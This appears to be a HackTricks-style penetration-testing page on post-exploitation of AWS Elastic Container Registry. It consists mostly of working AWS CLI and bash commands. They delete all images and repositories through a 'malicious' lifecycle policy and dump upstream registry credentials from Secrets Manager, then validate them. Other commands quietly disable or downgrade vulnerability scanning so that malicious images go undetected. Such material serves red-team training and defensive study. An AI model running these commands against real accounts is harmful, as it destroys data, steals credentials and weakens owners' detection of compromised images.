# AWS - ECR Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## ECR For more information check {{#ref}} ../../aws-services/aws-ecr-enum.md {{#endref}} ### Login, Pull & Push ```bash # Docker login into ecr ## For public repo (always use us-east-1) aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/ ## For private repo aws ecr get-login-password --profile --region | docker login --username AWS --password-stdin .dkr.ecr..amazonaws.com ## If you need to acces an image from a repo if a different account, in set the account number of the other account # Download docker pull .dkr.ecr..amazonaws.com/:latest ## If you still have the error "Requested image not found" ## It might be because the tag "latest" doesn't exit ## Get valid tags with: TOKEN=$(aws --profile ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken') curl -i -H "Authorization: Basic $TOKEN" https://.dkr.ecr..amazonaws.com/v2//tags/list # Inspect the image docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0 docker inspect .dkr.ecr..amazonaws.com/: # Inspect the image indicating the URL # Upload (example uploading purplepanda with tag latest) docker tag purplepanda:latest .dkr.ecr..amazonaws.com/purplepanda:latest docker push .dkr.ecr..amazonaws.com/purplepanda:latest # Downloading without Docker # List digests aws ecr batch-get-image --repository-name level2 \ --registry-id 653711331788 \ --image-ids imageTag=latest | jq '.images[].imageManifest | fromjson' ## Download a digest aws ecr get-download-url-for-layer \ --repository-name level2 \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` After downloading the images you should **check them for sensitive info**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ "rules": [ { "rulePriority": 1, "description": "Delete all images", "selection": { "tagStatus": "any", "countType": "imageCountMoreThan", "countNumber": 0 }, "action": { "type": "expire" } } ] }' > malicious_policy.json # Apply the malicious lifecycle policy to the ECR repository aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json # Delete the ECR repository aws ecr delete-repository --repository-name your-ecr-repo-name --force # Delete the ECR public repository aws ecr-public delete-repository --repository-name your-ecr-repo-name --force # Delete multiple images from the ECR repository aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC) If ECR Pull‑Through Cache is configured for authenticated upstream registries (Docker Hub, GHCR, ACR, etc.), the upstream credentials are stored in AWS Secrets Manager with a predictable name prefix: `ecr-pullthroughcache/`. Operators sometimes grant ECR admins broad Secrets Manager read access, enabling credential exfiltration and reuse outside AWS. Requirements - secretsmanager:ListSecrets - secretsmanager:GetSecretValue Enumerate candidate PTC secrets ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` Dump discovered secrets and parse common fields ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do aws secretsmanager get-secret-value --secret-id "$s" \ --query SecretString --output text | tee /tmp/ptc_secret.json jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` Optional: validate leaked creds against the upstream (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Impact - Reading these Secrets Manager entries yields reusable upstream registry credentials (username/password or token), which can be abused outside AWS to pull private images or access additional repositories depending on upstream permissions. ### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` An attacker with registry-level ECR permissions can silently reduce or disable automatic vulnerability scanning for ALL repositories by setting the registry scanning configuration to BASIC without any scan-on-push rules. This prevents new image pushes from being scanned automatically, hiding vulnerable or malicious images. Requirements - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (optional, per‑repo) - ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) Registry-wide downgrade to manual (no auto scans) ```bash REGION=us-east-1 # Read current config (save to restore later) aws ecr get-registry-scanning-configuration --region "$REGION" # Set BASIC scanning with no rules (results in MANUAL scanning only) aws ecr put-registry-scanning-configuration \ --region "$REGION" \ --scan-type BASIC \ --rules '[]' ``` Test with a repo and image ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test # Verify no scan ran automatically aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` Optional: further degrade at repo scope ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ --region "$REGION" \ --repository-name "$repo" \ --image-scanning-configuration scanOnPush=false ``` Impact - New image pushes across the registry are not scanned automatically, reducing visibility of vulnerable or malicious content and delaying detection until a manual scan is initiated. ### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) Reduce vulnerability detection quality across the entire registry by switching the BASIC scan engine from the default AWS_NATIVE to the legacy CLAIR engine. This doesn’t disable scanning but can materially change findings/coverage. Combine with a BASIC registry scanning configuration with no rules to make scans manual-only. Requirements - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Impact - Registry setting `BASIC_SCAN_TYPE_VERSION` set to `CLAIR` so subsequent BASIC scans run with the downgraded engine. CloudTrail records the `PutAccountSetting` API call. Steps ```bash REGION=us-east-1 # 1) Read current value so you can restore it later aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true # 2) Downgrade BASIC scan engine registry‑wide to CLAIR aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR # 3) Verify the setting aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION # 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` {{#include ../../../../banners/hacktricks-training.md}}